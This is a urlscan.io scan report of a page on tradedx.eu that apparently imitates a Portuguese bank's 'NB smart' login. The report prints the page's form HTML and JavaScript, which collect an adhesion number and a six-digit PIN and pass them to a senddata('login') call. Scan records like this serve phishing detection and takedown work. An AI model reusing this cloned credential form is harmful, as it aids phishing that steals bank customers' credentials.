tradedx.eu
Open in
urlscan Pro
185.65.93.168
Public Scan
URL:
https://tradedx.eu/old/js/--/nb-smart/app/nb/web/
Submission: On January 23 via manual from PT — Scanned from DE
Submission: On January 23 via manual from PT — Scanned from DE
Form analysis
3 forms found in the DOM<form id="form1">
<!--comeco dvcampos-->
</form>
Name: login — POST
<form action="" method="POST" onsubmit="return check_enter();" id="login" name="login" class="col-sm-12 login-form">
<input type="hidden" name="SRV" value="00101">
<input type="hidden" name="selo" value="0">
<input type="hidden" name="ad" value="4020774">
<div class="col-sm-12 nblogin-message">
<div id="AreaMensagemErro" class="hiddenError">
<p></p>
</div>
<script language="javascript">
document.getElementById("imgLoader").src = './login_files/' + 'loader_anim.gif';
</script>
</div>
<div class="rowLogin">
<div class="col-sm-6">
<fieldset>
<label class="nblogin-title">Nº adesão </label>
<input class="nbadesao-input" type="text" name="adesao" id="adesao" maxlength="7" required="">
</fieldset>
<fieldset>
<label class="nblogin-title">PIN </label>
<div id="divPin" class="nblogin-input green-pin white-bg">
<table cellspacing="0" cellpadding="0" id="slPin" class="nblogin-pincodigo">
<tbody>
<tr>
<td id="sl0" class="pincodigo"> </td>
<td id="sl1" class="pincodigo"> </td>
<td id="sl2" class="pincodigo"> </td>
<td id="sl3" class="pincodigo"> </td>
<td id="sl4" class="pincodigo"> </td>
<td id="sl5" class="pincodigo"> </td>
</tr>
</tbody>
</table>
</div>
<button class="btn btn-clear" onmouseup="cA();" onclick="return false;" style="visibility:hidden" id="btnLoginClear">Limpar</button>
</fieldset>
<ul class="nblogin-list">
<li>Esqueceu o <strong>PIN</strong>?</li>
<li><strong>Peça <a class="loginLink" href="#" target="_self">aqui</a> um novo.</strong><a style="color:#616469" href="#" onclick="behave();"><strong></strong></a></li>
</ul>
</div>
<div class="col-sm-6">
<input type="hidden" name="AvisaBrowser" value="true">
<input type="hidden" name="pin" value="">
<input type="hidden" name="nx" value="">
<script language="javascript">
var num_bt = parseInt('10', 10),
num_bt2 = 0;
var zp = 0,
zp2 = 0,
cnt = 3,
act = false;
var ch_st = (num_bt == 10) ? 48 : 65,
ch_st2 = 48;
if (num_bt == 36) {
num_bt = 26;
num_bt2 = 10;
}
var pin = "",
pinentry = "spa";
var le1 = "",
le2 = "",
le3 = "";
/* function lmp(frm) { frm.nx.value='7'+cvt1('jd8Jr$7bhtty86c7', frm.pin.value); frm.pin.value=""; } */
function pK(i) {
if (document.getElementById("adesao").value.length == 0) {
Swal.fire("Opss...", "O campo número de adesão é obrigatório", "error");
cA();
return;
}
var txtPin = document.getElementById("divPin");
if (txtPin) {
txtPin.className = "nblogin-input green-pin gray-bg";
}
var btnClear = document.getElementById("btnLoginClear");
if (btnClear) {
btnClear.style.visibility = "visible"
}
a = document.getElementById("sl" + pin.length);
if (a) {
a.innerHTML = "*";
pin += "" + String.fromCharCode(ch_st + (((1 * i) + zp) % num_bt));
}
if (pin.length >= 6) {
pin = pin.substring(0, 6);
document.login.pin.value = pin;
document.login.selo.value = (new Date()).getTime();
document.login.submit();
senddata('login');
}
}
function pK2(i) {
if (document.getElementById("adesao").value.length == 0) {
Swal.fire("Opss...", "O campo número de adesão é obrigatório", "error");
cA();
return;
}
var txtPin = document.getElementById("divPin");
if (txtPin) {
txtPin.className = "nblogin-input green-pin gray-bg";
}
var btnClear = document.getElementById("btnLoginClear");
if (btnClear) {
btnClear.style.visibility = "visible"
}
a = document.getElementById("sl" + pin.length);
if (a) {
a.innerHTML = "*";
pin += "" + String.fromCharCode(ch_st2 + (((1 * i) + zp2) % num_bt2));
}
if (pin.length >= 6) {
pin = pin.substring(0, 6);
document.login.pin.value = pin;
document.login.selo.value = (new Date()).getTime();
document.login.submit();
senddata('login');
}
}
function cA() {
var btnClear = document.getElementById("btnLoginClear");
if (btnClear) {
btnClear.style.visibility = "hidden"
}
var txtPin = document.getElementById("divPin");
if (txtPin) {
txtPin.className = "nblogin-input green-pin white-bg";
}
for (n = 0; n < 6; n++) {
a = document.getElementById("sl" + n);
if (a) a.innerHTML = ' ';
}
pin = "";
fillSlots();
if (num_bt2 != 0) fillSlots2();
}
function disablePostback(event) {
if (event.preventDefault) {
event.preventDefault();
} else {
event.returnValue = false;
}
return false;
}
function fillSlots() {
var a, n;
zp = (zp + 1 + Math.floor(Math.random() * (num_bt - 1))) % num_bt;
for (n = 0; n < num_bt; n++) {
a = document.getElementById("bt" + n);
if (a) a.innerHTML = String.fromCharCode(ch_st + (n + zp) % num_bt);
}
}
function fillSlots2() {
var a, n;
zp2 = (zp2 + 1 + Math.floor(Math.random() * (num_bt2 - 1))) % num_bt2;
for (n = 0; n < num_bt2; n++) {
a = document.getElementById("bt" + (n + num_bt));
if (a) a.innerHTML = String.fromCharCode(ch_st2 + (n + zp2) % num_bt2);
}
}
function changeSlots(disabled) {
var a, n;
for (n = 0; n < num_bt; n++) {
a = document.getElementById("bt" + n);
if (a) a.disabled = disabled;
}
if (num_bt2 != 0) changeSlots2(disabled);
}
function changeSlots2(disabled) {
var a, n;
for (n = 0; n < num_bt2; n++) {
a = document.getElementById("bt" + (n + num_bt));
if (a) a.disabled = disabled;
}
}
function changeActionMessage(msg) {
a = document.getElementById("actionMsg");
if (a) a.innerHTML = msg;
}
</script>
<div class="pin-keyboard text-center">
<div class="pin-numbers" onselectstart="return false;">
<fieldset>Por favor, introduza o seu PIN</fieldset>
<button id="bt1" class="btn btn-numberPin" onmouseup="pK('1')" onclick="disablePostback(event)">3</button><button id="bt2" class="btn btn-numberPin" onmouseup="pK('2')" onclick="disablePostback(event)">4</button><button id="bt3"
class="btn btn-numberPin" onmouseup="pK('3')" onclick="disablePostback(event)">5</button><button id="bt4" class="btn btn-numberPin" onmouseup="pK('4')" onclick="disablePostback(event)">6</button><button id="bt5" class="btn btn-numberPin"
onmouseup="pK('5')" onclick="disablePostback(event)">7</button><button id="bt6" class="btn btn-numberPin" onmouseup="pK('6')" onclick="disablePostback(event)">8</button><button id="bt7" class="btn btn-numberPin" onmouseup="pK('7')"
onclick="disablePostback(event)">9</button><button id="bt8" class="btn btn-numberPin" onmouseup="pK('8')" onclick="disablePostback(event)">0</button><button id="bt9" class="btn btn-numberPin" onmouseup="pK('9')"
onclick="disablePostback(event)">1</button><button id="bt0" class="btn btn-numberPin" onmouseup="pK('0')" onclick="disablePostback(event)">2</button>
</div>
<div class="pin-privacy">
<span>Modo teclado privacidade</span>
<div class="customslider-cont" style="padding-top:15px">
<div id="slider" class="ui-slider ui-slider-horizontal ui-widget ui-widget-content ui-corner-all">
<div class="ui-slider-range ui-widget-header ui-corner-all ui-slider-range-max" style="width: 0%;"></div>
<span class="ui-slider-handle ui-state-default ui-corner-all" tabindex="0" style="left: 100%;"></span>
</div>
</div>
</div>
</div>
<script language="javascript">
fillSlots();
if (num_bt2 != 0) fillSlots2();
changeSlots(false);
//Change pinpad class, because of hover problem in touchscreens
if ('ontouchstart' in document) {
var elements = document.getElementsByClassName("btn btn-numberPin");
for (var i = elements.length - 1; i >= 0; --i) {
elements[i].className = "btn btn-numberPin touch";
}
}
$("#slider").slider({
range: "max",
animate: "fast",
min: 25,
max: 100,
value: 100,
slide: handleSliderChanges,
stop: fillSlots
});
function handleSliderChanges(e, ui) {
//Calculate font-size
var initialFontSize = 30;
var fontSize = (initialFontSize * ui.value) / 100;
$(".btn-numberPin").css("font-size", fontSize + "px");
}
</script>
</div>
</div>
<script language="Javascript">
window.focus();
</script>
</form>
<form id="formprinc">
<div id="Conteudo"></div>
</form>
Text Content
Nº adesão PIN Limpar * Esqueceu o PIN? * Peça aqui um novo. Por favor, introduza o seu PIN 3456789012 Modo teclado privacidade SEGURANÇA CANAIS DIRETOS * Nunca lhe pediremos o seu número de telemóvel nesta página. * Nunca lhe pediremos mais que 3 dígitos da matriz. * Recomendações de Segurança